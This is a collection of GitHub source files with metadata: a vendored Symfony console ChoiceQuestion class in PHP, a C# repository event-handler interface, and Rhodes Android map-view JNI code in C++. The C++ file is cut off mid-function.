{ "content_hash": "5d2fb03dd48ade43b97342f40c56be20", "timestamp": "", "source": "github", "line_count": 34, "max_line_length": 193, "avg_line_length": 34.794117647058826, "alnum_prop": 0.7049873203719358, "repo_name": "bendrucker/1rm.js", "id": "b9798a0aa33a4180806d8528b50591d94ee82017", "size": "1183", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "1225" } ], "symlink_target": "" }
<?php namespace RectorPrefix20210615\Symfony\Component\Console\Question; use RectorPrefix20210615\Symfony\Component\Console\Exception\InvalidArgumentException; /** * Represents a choice question. * * @author Fabien Potencier <fabien@symfony.com> */ class ChoiceQuestion extends \RectorPrefix20210615\Symfony\Component\Console\Question\Question { private $choices; private $multiselect = \false; private $prompt = ' > '; private $errorMessage = 'Value "%s" is invalid'; /** * @param string $question The question to ask to the user * @param array $choices The list of available choices * @param mixed $default The default answer to return */ public function __construct(string $question, array $choices, $default = null) { if (!$choices) { throw new \LogicException('Choice question must have at least 1 choice available.'); } parent::__construct($question, $default); $this->choices = $choices; $this->setValidator($this->getDefaultValidator()); $this->setAutocompleterValues($choices); } /** * Returns available choices. * * @return array */ public function getChoices() { return $this->choices; } /** * Sets multiselect option. * * When multiselect is set to true, multiple choices can be answered. * * @return $this */ public function setMultiselect(bool $multiselect) { $this->multiselect = $multiselect; $this->setValidator($this->getDefaultValidator()); return $this; } /** * Returns whether the choices are multiselect. * * @return bool */ public function isMultiselect() { return $this->multiselect; } /** * Gets the prompt for choices. * * @return string */ public function getPrompt() { return $this->prompt; } /** * Sets the prompt for choices. * * @return $this */ public function setPrompt(string $prompt) { $this->prompt = $prompt; return $this; } /** * Sets the error message for invalid values. * * The error message has a string placeholder (%s) for the invalid value. * * @return $this */ public function setErrorMessage(string $errorMessage) { $this->errorMessage = $errorMessage; $this->setValidator($this->getDefaultValidator()); return $this; } private function getDefaultValidator() : callable { $choices = $this->choices; $errorMessage = $this->errorMessage; $multiselect = $this->multiselect; $isAssoc = $this->isAssoc($choices); return function ($selected) use($choices, $errorMessage, $multiselect, $isAssoc) { if ($multiselect) { // Check for a separated comma values if (!\preg_match('/^[^,]+(?:,[^,]+)*$/', $selected, $matches)) { throw new \RectorPrefix20210615\Symfony\Component\Console\Exception\InvalidArgumentException(\sprintf($errorMessage, $selected)); } $selectedChoices = \explode(',', $selected); } else { $selectedChoices = [$selected]; } if ($this->isTrimmable()) { foreach ($selectedChoices as $k => $v) { $selectedChoices[$k] = \trim($v); } } $multiselectChoices = []; foreach ($selectedChoices as $value) { $results = []; foreach ($choices as $key => $choice) { if ($choice === $value) { $results[] = $key; } } if (\count($results) > 1) { throw new \RectorPrefix20210615\Symfony\Component\Console\Exception\InvalidArgumentException(\sprintf('The provided answer is ambiguous. Value should be one of "%s".', \implode('" or "', $results))); } $result = \array_search($value, $choices); if (!$isAssoc) { if (\false !== $result) { $result = $choices[$result]; } elseif (isset($choices[$value])) { $result = $choices[$value]; } } elseif (\false === $result && isset($choices[$value])) { $result = $value; } if (\false === $result) { throw new \RectorPrefix20210615\Symfony\Component\Console\Exception\InvalidArgumentException(\sprintf($errorMessage, $value)); } // For associative choices, consistently return the key as string: $multiselectChoices[] = $isAssoc ? (string) $result : $result; } if ($multiselect) { return $multiselectChoices; } return \current($multiselectChoices); }; } }
{ "content_hash": "cc76dc4d9c5e822a700cf872333da716", "timestamp": "", "source": "github", "line_count": 150, "max_line_length": 219, "avg_line_length": 33.846666666666664, "alnum_prop": 0.5387039590309238, "repo_name": "RectorPHP/Rector", "id": "710f53f0f85cdc79622be0593b8cef429bbf7f4e", "size": "5306", "binary": false, "copies": "1", "ref": "refs/heads/main", "path": "vendor/symfony/console/Question/ChoiceQuestion.php", "mode": "33188", "license": "mit", "language": [ { "name": "PHP", "bytes": "503421" } ], "symlink_target": "" }
namespace NRepository.Core.Events { public interface IRepositoryQueryEventHandler { void RaiseEvent<T>(T evnt) where T : class, IRepositoryQueryEvent; } }
{ "content_hash": "224e678c1402013a08ab3c9434af2ca3", "timestamp": "", "source": "github", "line_count": 7, "max_line_length": 74, "avg_line_length": 24.857142857142858, "alnum_prop": 0.7183908045977011, "repo_name": "j-kelly/NRepository.Core", "id": "1429f3b39c9649c3bc682ae7e064eb1d2ed1f2bc", "size": "174", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "src/NRepository.Core/Events/IRepositoryQueryEventHandler.cs", "mode": "33188", "license": "mit", "language": [ { "name": "C#", "bytes": "374699" } ], "symlink_target": "" }
#include <genconfig.h> #include <stdio.h> #include "rhodes/JNIRhodes.h" #include "rhodes/JNIRhoRuby.h" #include <common/rhoparams.h> #include <common/map/MapEngine.h> #include <common/map/BaseMapEngine.h> #include <android/log.h> #undef DEFAULT_LOGCATEGORY #define DEFAULT_LOGCATEGORY "AndroidMapEngine" #define RHO_MAP_DISABLE_TRACE #ifdef RHO_MAP_DISABLE_TRACE # ifdef RHO_MAP_TRACE # undef RHO_MAP_TRACE # endif # define RHO_MAP_TRACE(...) # ifdef RHO_MAP_TRACE1 # undef RHO_MAP_TRACE1 # endif # define RHO_MAP_TRACE1(...) # ifdef RHO_MAP_TRACE2 # undef RHO_MAP_TRACE2 # endif # define RHO_MAP_TRACE2(...) # ifdef RHO_MAP_TRACE3 # undef RHO_MAP_TRACE3 # endif # define RHO_MAP_TRACE3(...) # ifdef RHO_MAP_TRACE4 # undef RHO_MAP_TRACE4 # endif # define RHO_MAP_TRACE4(...) #endif /* #ifdef RHO_MAP_DISABLE_TRACE */ static bool ourIsCachingEnabled = false; namespace rho { namespace common { namespace map { class AndroidImage : public IDrawingImage { private: AndroidImage(AndroidImage const &); AndroidImage &operator=(AndroidImage const &); AndroidImage(int count, int bitmap); void init(JNIEnv *env); public: AndroidImage(int bitmap); ~AndroidImage(); AndroidImage *clone(); int bitmap() const {return m_bitmap;} int width() const {return m_width;} int height() const {return m_height;} private: int m_bitmap; int m_width; int m_height; }; class AndroidDrawingContext : public IDrawingContext { public: AndroidDrawingContext(jobject d, jobject canvas) :m_device(d), m_canvas(canvas) {} void drawImage(int x, int y, IDrawingImage *image); void drawText(int x, int y, int width, int height, String const &text, int color); void fillRect(int x, int y, int width, int height, int color) {} private: jobject m_device; jobject m_canvas; }; class AndroidMapDevice : public IDrawingDevice { private: AndroidMapDevice(AndroidMapDevice const &); AndroidMapDevice &operator=(AndroidMapDevice const &); public: AndroidMapDevice(rho_param *p); ~AndroidMapDevice(); void attach(JNIEnv *env, jobject jDevice); void setPinImage(JNIEnv *env, int bitmap); void setPinCalloutImage(JNIEnv *env, int bitmap); void setPinCalloutLinkImage(JNIEnv *env, int bitmap); void setESRILogoImage(JNIEnv *env, int bitmap); void setGoogleLogoImage(JNIEnv *env, int bitmap); void setPinMyLocationImage(JNIEnv *env, int bitmap); rho_param *params() const { return m_params; } void setMapView(IMapView *mv); IMapView *mapView() const {return m_mapview;} IDrawingImage* createImage(String const &path, bool useAlpha); IDrawingImage* createImage(void const *p, size_t s, bool useAlpha); IDrawingImage* createImageEx(void const *p, size_t s, int x, int y, int w, int h, bool useAlpha); IDrawingImage* cloneImage(IDrawingImage *image); void destroyImage(IDrawingImage* image); IDrawingImage* createCalloutImage(String const &title, String const &subtitle, String const& url, int* x_offset, int* y_offset); void requestRedraw(); void paint(jobject canvas); private: rho_param *m_params; IMapView *m_mapview; jobject m_jdevice; std::auto_ptr<IDrawingImage> m_pin_image; std::auto_ptr<IDrawingImage> m_pin_calloutimage; std::auto_ptr<IDrawingImage> m_pin_calloutlinkimage; std::auto_ptr<IDrawingImage> m_esriLogo_image; std::auto_ptr<IDrawingImage> m_googleLogo_image; std::auto_ptr<IDrawingImage> m_pin_myLocation_image; }; AndroidImage::AndroidImage(int jbitmap) { RHO_MAP_TRACE("AndroidImage: ctor start"); m_bitmap = jbitmap; JNIEnv *env = jnienv(); //*m_bitmap = env->NewGlobalRef(jbitmap); //env->DeleteLocalRef(jbitmap); init(env); RHO_MAP_TRACE("AndroidImage: ctor finish"); } AndroidImage::AndroidImage(int count, int pjbitmap) { RHO_MAP_TRACE("AndroidImage: private ctor start"); m_bitmap = pjbitmap; JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (cls) { jmethodID midAddRef = getJNIClassStaticMethod(env, cls, "addRefImage", "(I)V"); if (midAddRef) { env->CallStaticVoidMethod(cls, midAddRef, m_bitmap); } } init(jnienv()); RHO_MAP_TRACE("AndroidImage: private ctor finish"); } void AndroidImage::init(JNIEnv *env) { jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return; jmethodID midWidth = getJNIClassStaticMethod(env, cls, "getBitmapWidth", "(I)I"); if (!midWidth) return; jmethodID midHeight = getJNIClassStaticMethod(env, cls, "getBitmapHeight", "(I)I"); if (!midHeight) return; m_width = env->CallStaticIntMethod(cls, midWidth, m_bitmap); m_height = env->CallStaticIntMethod(cls, midHeight, m_bitmap); } AndroidImage::~AndroidImage() { RHO_MAP_TRACE("AndroidImage: dtorimg start"); { JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); jmethodID mid = getJNIClassStaticMethod(env, cls, "destroyImage", "(I)V"); if (cls && mid) env->CallStaticVoidMethod(cls, mid, m_bitmap); } RHO_MAP_TRACE("AndroidImage: dtorimg finish"); } AndroidImage *AndroidImage::clone() { return new AndroidImage(0, m_bitmap); } void AndroidDrawingContext::drawImage(int x, int y, IDrawingImage *image) { if (!image) return; int bitmap = ((AndroidImage*)image)->bitmap(); RHO_MAP_TRACE4("drawImage: x=%d, y=%d, image=%p id=%d", x, y, image, bitmap); JNIEnv *env = jnienv(); jclass cls = env->GetObjectClass(m_device); if (!cls) return; jmethodID mid = getJNIClassMethod(env, cls, "drawImage", "(Landroid/graphics/Canvas;III)V"); if (!mid) return; env->CallVoidMethod(m_device, mid, m_canvas, x, y, bitmap); ///// env->DeleteLocalRef(cls); RHO_MAP_TRACE("drawImage done"); } void AndroidDrawingContext::drawText(int x, int y, int width, int height, String const &text, int color) { RHO_MAP_TRACE4("drawText: x=%d, y=%d, text=%s, color=%d", x, y, text.c_str(), color); JNIEnv *env = jnienv(); jclass cls = env->GetObjectClass(m_device); if (!cls) return; jmethodID mid = getJNIClassMethod(env, cls, "drawText", "(Landroid/graphics/Canvas;IIIILjava/lang/String;I)V"); if (!mid) return; jhstring jhText = rho_cast<jstring>(env, text); env->CallVoidMethod(m_device, mid, m_canvas, x, y, width, height, jhText.get(), color); ///// env->DeleteLocalRef(cls); RHO_MAP_TRACE("drawText done"); } AndroidMapDevice::AndroidMapDevice(rho_param *p) :m_params(rho_param_dup(p)), m_mapview(NULL), m_jdevice(NULL) { RHO_MAP_TRACE("AndroidMapDevice: ctor start"); JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return; jmethodID mid = getJNIClassStaticMethod(env, cls, "create", "(J)V"); if (!mid) return; env->CallStaticVoidMethod(cls, mid, (jlong)this); RHO_MAP_TRACE("AndroidMapDevice: ctor finish"); } AndroidMapDevice::~AndroidMapDevice() { RHO_MAP_TRACE("AndroidMapDevice: dtordev start"); rho_param_free(m_params); JNIEnv *env = jnienv(); if (m_jdevice) { jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return; jmethodID mid = getJNIClassMethod(env, cls, "destroyDevice", "()V"); if (!mid) return; env->CallVoidMethod(m_jdevice, mid); env->DeleteGlobalRef(m_jdevice); } RHO_MAP_TRACE("AndroidMapDevice: dtordev finish"); } void AndroidMapDevice::attach(JNIEnv *env, jobject jDevice) { RHO_MAP_TRACE2("AndroidMapDevice: attach m_jdevice=%p, jDevice=%p", m_jdevice, jDevice); m_jdevice = env->NewGlobalRef(jDevice); RHO_MAP_TRACE("AndroidMapDevice: attach done"); } void AndroidMapDevice::setMapView(IMapView *mv) { RHO_MAP_TRACE("AndroidMapDevice: setMapView: start"); m_mapview = mv; if (m_mapview && m_pin_image.get()) { PIN_INFO pin_info; pin_info.x_offset = -10; pin_info.y_offset = -35; pin_info.click_rect_x = -10; pin_info.click_rect_y = -35; pin_info.click_rect_width = 20; pin_info.click_rect_height = 30; m_mapview->setPinImage(m_pin_image.get(), pin_info); PIN_INFO pin_info1 = PIN_INFO(); pin_info1.x_offset = 5; mv->setPinCalloutImage(m_pin_calloutimage.get(), pin_info1); mv->setPinCalloutLinkImage(m_pin_calloutlinkimage.get(), pin_info1); mv->setESRILogoImage(m_esriLogo_image.get()); mv->setGoogleLogoImage(m_googleLogo_image.get()); pin_info.x_offset = -2; pin_info.y_offset = -31; pin_info.click_rect_x = -2; pin_info.click_rect_y = -31; pin_info.click_rect_width = 32; pin_info.click_rect_height = 32; mv->setPinMyLocationImage(m_pin_myLocation_image.get(), pin_info); mv->set_file_caching_enable((int)ourIsCachingEnabled); } RHO_MAP_TRACE("AndroidMapDevice: setMapView: finish"); } void AndroidMapDevice::setPinImage(JNIEnv *env, int bitmap) { RHO_MAP_TRACE("AndroidMapDevice: setPinImage: start"); m_pin_image.reset(new AndroidImage(bitmap)); IMapView *mv = mapView(); if (mv) { PIN_INFO pin_info; pin_info.x_offset = -10; pin_info.y_offset = -35; pin_info.click_rect_x = -10; pin_info.click_rect_y = -35; pin_info.click_rect_width = 20; pin_info.click_rect_height = 30; mv->setPinImage(m_pin_image.get(), pin_info); } RHO_MAP_TRACE("AndroidMapDevice: setPinImage: finish"); } void AndroidMapDevice::setPinCalloutImage(JNIEnv *env, int bitmap) { RHO_MAP_TRACE("AndroidMapDevice: setPinCalloutImage: start"); m_pin_calloutimage.reset(new AndroidImage(bitmap)); IMapView *mv = mapView(); if (mv){ PIN_INFO pin_info = PIN_INFO(); pin_info.x_offset = 5; mv->setPinCalloutImage(m_pin_calloutimage.get(), pin_info); } RHO_MAP_TRACE("AndroidMapDevice: setPinCalloutImage: finish"); } void AndroidMapDevice::setPinCalloutLinkImage(JNIEnv *env, int bitmap) { RHO_MAP_TRACE("AndroidMapDevice: setPinCalloutLinkImage: start"); m_pin_calloutlinkimage.reset(new AndroidImage(bitmap)); IMapView *mv = mapView(); if (mv) { PIN_INFO pin_info = PIN_INFO(); pin_info.x_offset = 5; mv->setPinCalloutLinkImage(m_pin_calloutlinkimage.get(), pin_info); } RHO_MAP_TRACE("AndroidMapDevice: setPinCalloutLinkImage: finish"); } void AndroidMapDevice::setESRILogoImage(JNIEnv *env, int bitmap) { RHO_MAP_TRACE("AndroidMapDevice: setESRILogoImage: start"); m_esriLogo_image.reset(new AndroidImage(bitmap)); IMapView *mv = mapView(); if (mv) { mv->setESRILogoImage(m_esriLogo_image.get()); } RHO_MAP_TRACE("AndroidMapDevice: setESRILogoImage: finish"); } void AndroidMapDevice::setGoogleLogoImage(JNIEnv *env, int bitmap) { RHO_MAP_TRACE("AndroidMapDevice: setGoogleLogoImage: start"); m_googleLogo_image.reset(new AndroidImage(bitmap)); IMapView *mv = mapView(); if (mv) { mv->setGoogleLogoImage(m_googleLogo_image.get()); } RHO_MAP_TRACE("AndroidMapDevice: setGoogleLogoImage: finish"); } void AndroidMapDevice::setPinMyLocationImage(JNIEnv *env, int bitmap) { RHO_MAP_TRACE("AndroidMapDevice: setPinMyLocationImage: start"); m_pin_myLocation_image.reset(new AndroidImage(bitmap)); IMapView *mv = mapView(); if (mv) { PIN_INFO pin_info; pin_info.x_offset = -2; pin_info.y_offset = -31; pin_info.click_rect_x = -2; pin_info.click_rect_y = -31; pin_info.click_rect_width = 32; pin_info.click_rect_height = 32; mv->setPinMyLocationImage(m_pin_myLocation_image.get(), pin_info); } RHO_MAP_TRACE("AndroidMapDevice: setGoogleLogoImage: finish"); } IDrawingImage *AndroidMapDevice::createImage(String const &path, bool useAlpha) { RHO_MAP_TRACE1("createImage: %s", path.c_str()); JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return NULL; jmethodID mid = getJNIClassStaticMethod(env, cls, "createImage", "(Ljava/lang/String;)I"); if (!mid) return NULL; jhstring jhPath = rho_cast<jstring>(env, path); int bitmap = env->CallStaticIntMethod(cls, mid, jhPath.get()); if (bitmap == 0) { return NULL; } IDrawingImage *image = new AndroidImage(bitmap); RHO_MAP_TRACE1("createImage: return image=%p", image); return image; } IDrawingImage *AndroidMapDevice::createImage(void const *p, size_t size, bool useAlpha) { RHO_MAP_TRACE2("createImage: p=%p, size=%llu", p, (unsigned long long)size); JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return NULL; jmethodID mid = getJNIClassStaticMethod(env, cls, "createImage", "([B)I"); if (!mid) return NULL; jholder<jbyteArray> data = env->NewByteArray(size); if (!data) return NULL; env->SetByteArrayRegion(data.get(), 0, size, (jbyte const *)p); int bitmap = env->CallStaticIntMethod(cls, mid, data.get()); IDrawingImage *image = new AndroidImage(bitmap); RHO_MAP_TRACE1("createImage: return image=%p", image); return image; } IDrawingImage* AndroidMapDevice::createCalloutImage(String const &title, String const &subtitle, String const& url, int* x_offset, int* y_offset) { JNIEnv *env = jnienv(); jclass cls = env->FindClass("com/rhomobile/rhodes/mapview/Callout");//getJNIClass("com/rhomobile/rhodes/mapview/Callout"); if (!cls) return NULL; jmethodID mid = getJNIClassStaticMethod(env, cls, "makeCallout", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lcom/rhomobile/rhodes/mapview/Callout;"); if (!mid) return NULL; jhstring jhTitle = rho_cast<jstring>(env, title); jhstring jhSubTitle = rho_cast<jstring>(env, subtitle); jhstring jhUrl = rho_cast<jstring>(env, url); jhobject jo_callout = env->CallStaticObjectMethod(cls, mid, jhTitle.get(), jhSubTitle.get(), jhUrl.get()); jmethodID mid_bitmap = env->GetMethodID( cls, "getResultBitmapID", "()I"); jmethodID mid_x_off = env->GetMethodID( cls, "getXOffset", "()I"); jmethodID mid_y_off = env->GetMethodID( cls, "getYOffset", "()I"); int bitmap = env->CallIntMethod(jo_callout.get(), mid_bitmap); IDrawingImage *image = new AndroidImage(bitmap); *x_offset = env->CallIntMethod(jo_callout.get(), mid_x_off); *y_offset = env->CallIntMethod(jo_callout.get(), mid_y_off); return image; } IDrawingImage *AndroidMapDevice::createImageEx(void const *p, size_t size, int x, int y, int w, int h, bool useAlpha) { RHO_MAP_TRACE2("createImageEx: p=%p, size=%llu", p, (unsigned long long)size); JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return NULL; jmethodID mid = getJNIClassStaticMethod(env, cls, "createImageEx", "([BIIII)I"); if (!mid) return NULL; jholder<jbyteArray> data = jholder<jbyteArray>(env->NewByteArray(size)); if (!data) return NULL; env->SetByteArrayRegion(data.get(), 0, size, (jbyte const *)p); int bitmap = env->CallStaticIntMethod(cls, mid, data.get(), x, y, w, h); IDrawingImage *image = new AndroidImage(bitmap); RHO_MAP_TRACE1("createImage: return image=%p", image); return image; } IDrawingImage *AndroidMapDevice::cloneImage(IDrawingImage *image) { RHO_MAP_TRACE1("cloneImage: image=%p", image); IDrawingImage *cloned = image ? ((AndroidImage *)image)->clone() : NULL; RHO_MAP_TRACE1("cloneImage: return image=%p", cloned); return cloned; } void AndroidMapDevice::destroyImage(IDrawingImage *image) { RHO_MAP_TRACE1("destroyImage: image=%p", image); delete image; RHO_MAP_TRACE("destroyImage done"); } void AndroidMapDevice::requestRedraw() { RHO_MAP_TRACE1("requestRedraw: m_jdevice=%p", m_jdevice); if (m_jdevice) { JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return; jmethodID mid = getJNIClassMethod(env, cls, "redraw", "()V"); if (!mid) return; env->CallVoidMethod(m_jdevice, mid); } RHO_MAP_TRACE("requestRedraw done"); } void AndroidMapDevice::paint(jobject canvas) { RHO_MAP_TRACE1("paint: m_jdevice=%p", m_jdevice); if (m_mapview) { std::auto_ptr<AndroidDrawingContext> context(new AndroidDrawingContext(m_jdevice, canvas)); m_mapview->paint(context.get()); } RHO_MAP_TRACE("paint done"); } } // namespace map } // namespace common } // namespace rho namespace rhomap = rho::common::map; static rhomap::AndroidMapDevice *s_mapdevice = NULL; static rhomap::AndroidMapDevice *device(JNIEnv *env, jlong nativeDevice) { rhomap::AndroidMapDevice *d = (rhomap::AndroidMapDevice*)nativeDevice; if (!d) { //TODO: investigate when this happens ! //env->ThrowNew(getJNIClass(RHODES_JAVA_CLASS_RUNTIME_EXCEPTION), "Specified wrong native device"); return NULL; } return d; } static rhomap::IMapView *mapview(JNIEnv *env, jlong nativeDevice) { rhomap::AndroidMapDevice *d = device(env, nativeDevice); if (!d) return NULL; rhomap::IMapView *mv = d->mapView(); if (!mv) { //TODO: investigate when this happens ! //env->ThrowNew(getJNIClass(RHODES_JAVA_CLASS_RUNTIME_EXCEPTION), "Specified native device does not have mapview"); return NULL; } return mv; } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setSize (JNIEnv *env, jobject, jobject jDevice, jlong nativeDevice, jint width, jint height) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setSize: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); rhomap::IMapView *mv = d->mapView(); if (!mv) { mv = rho_map_create(d->params(), d, width, height); d->setMapView(mv); d->attach(env, jDevice); } if (mv) mv->setSize(width, height); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setSize: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setPinImage (JNIEnv *env, jobject, jlong nativeDevice, int bitmap) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setPinImage: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); d->setPinImage(env, bitmap); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setPinImage: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setPinCalloutImage (JNIEnv *env, jobject, jlong nativeDevice, int bitmap) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setPinCalloutImage: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); d->setPinCalloutImage(env, bitmap); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setPinCalloutImage: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setPinCalloutLinkImage (JNIEnv *env, jobject, jlong nativeDevice, int bitmap) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setPinCalloutLinkImage: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); d->setPinCalloutLinkImage(env, bitmap); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setPinCalloutLinkImage: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setESRILogoImage (JNIEnv *env, jobject, jlong nativeDevice, int bitmap) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setESRILogoImage: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); d->setESRILogoImage(env, bitmap); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setESRILogoImage: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setGoogleLogoImage (JNIEnv *env, jobject, jlong nativeDevice, int bitmap) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setGoogleLogoImage: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); d->setGoogleLogoImage(env, bitmap); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setGoogleLogoImage: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setMyLocationImage (JNIEnv *env, jobject, jlong nativeDevice, int bitmap) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setMyLocationImage: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); d->setPinMyLocationImage(env, bitmap); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setMyLocationImage: finish"); } RHO_GLOBAL jint JNICALL Java_com_rhomobile_rhodes_mapview_MapView_minZoom (JNIEnv *env, jobject, jlong nativeDevice) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_minZoom: start"); jint ret = 0; rhomap::IMapView *mv = mapview(env, nativeDevice); if (mv) ret = mv->minZoom(); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_minZoom: finish"); return ret; } RHO_GLOBAL jint JNICALL Java_com_rhomobile_rhodes_mapview_MapView_maxZoom (JNIEnv *env, jobject, jlong nativeDevice) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_maxZoom: start"); jint ret = 0; rhomap::IMapView *mv = mapview(env, nativeDevice); if (mv) ret = mv->maxZoom(); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_maxZoom: finish"); return ret; } RHO_GLOBAL jint JNICALL Java_com_rhomobile_rhodes_mapview_MapView_zoom (JNIEnv *env, jobject, jlong nativeDevice) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_zoom: start"); jint ret = 0; rhomap::IMapView *mv = mapview(env, nativeDevice); if (mv) ret = mv->zoom(); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_zoom: finish"); return ret; } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_setZoom (JNIEnv *env, jobject, jlong nativeDevice, jint zoom) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setZoom: start"); rhomap::IMapView *mv = mapview(env, nativeDevice); if (mv) mv->setZoom(zoom); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_setZoom: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_move (JNIEnv *env, jobject, jlong nativeDevice, jint dx, jint dy) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_move: start"); rhomap::IMapView *mv = mapview(env, nativeDevice); if (mv) mv->move(dx, dy); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_move: finish"); } RHO_GLOBAL void mapview_close(); RHO_GLOBAL jint JNICALL Java_com_rhomobile_rhodes_mapview_MapView_click (JNIEnv *env, jobject, jlong nativeDevice, jint x, jint y) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_click: start"); rhomap::IMapView *mv = mapview(env, nativeDevice); if (mv) { if (mv->handleClick(x, y) ) { // close mapview_close(); return 1; } } RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_click: finish"); return 0; } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_paint (JNIEnv *env, jobject, jlong nativeDevice, jobject canvas) { RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_paint: start"); rhomap::AndroidMapDevice *d = device(env, nativeDevice); if (d) d->paint(canvas); RHO_MAP_TRACE("Java_com_rhomobile_rhodes_mapview_MapView_paint: finish"); } RHO_GLOBAL void JNICALL Java_com_rhomobile_rhodes_mapview_MapView_destroy (JNIEnv *, jobject, jlong nativeDevice) { mapview_close(); } //#endif #ifdef RHO_GOOGLE_API_KEY RHO_GLOBAL void google_mapview_create(rho_param *p); RHO_GLOBAL void google_mapview_close(); RHO_GLOBAL VALUE google_mapview_state_started(); RHO_GLOBAL double google_mapview_state_center_lat(); RHO_GLOBAL double google_mapview_state_center_lon(); #endif static bool ourIsOldGoogleEngineUsed = true; RHO_GLOBAL void mapview_close() { #ifdef RHO_GOOGLE_API_KEY if (ourIsOldGoogleEngineUsed) { google_mapview_close(); } else #endif { if (s_mapdevice) { rhomap::IMapView *mv = s_mapdevice->mapView(); rho_map_destroy(mv); } delete s_mapdevice; s_mapdevice = NULL; JNIEnv *env = jnienv(); jclass& cls = getJNIClass(RHODES_JAVA_CLASS_MAPVIEW); if (!cls) return; jmethodID mid = getJNIClassStaticMethod(env, cls, "destroy", "()V"); if (!mid) return; env->CallStaticVoidMethod(cls, mid); } } RHO_GLOBAL void mapview_create(rho_param *p) { mapview_close(); ourIsOldGoogleEngineUsed = false; // detect engine const char* engine = "Google"; if (p && p->type == RHO_PARAM_HASH) { rho_param *eng_p = NULL; for (int i = 0, lim = p->v.hash->size; i < lim; ++i) { char *name = p->v.hash->name[i]; rho_param *value = p->v.hash->value[i]; if (strcasecmp(name, "provider") == 0) eng_p = value; } if (eng_p && eng_p->type == RHO_PARAM_STRING) { if ((eng_p->v.string != NULL) && (eng_p->v.string[0] != 0)) { engine = eng_p->v.string; } } } if (strcasecmp(engine, "Google") == 0) { ourIsOldGoogleEngineUsed = true; } #ifdef RHO_GOOGLE_API_KEY if (ourIsOldGoogleEngineUsed) { google_mapview_create(p); } else #endif { if (rho_map_check_param(p)) { s_mapdevice = new rhomap::AndroidMapDevice(p); } else { RAWLOG_ERROR("MapView.create: wrong input parameters ! (parameters not validated !)"); } } } RHO_GLOBAL VALUE mapview_state_started() { #ifdef RHO_GOOGLE_API_KEY if (ourIsOldGoogleEngineUsed) { return google_mapview_state_started(); } else #endif { return rho_ruby_create_boolean(!!s_mapdevice); } } RHO_GLOBAL double mapview_state_center_lat() { #ifdef RHO_GOOGLE_API_KEY if (ourIsOldGoogleEngineUsed) { return google_mapview_state_center_lat(); } else #endif { if (!s_mapdevice) return 0; return 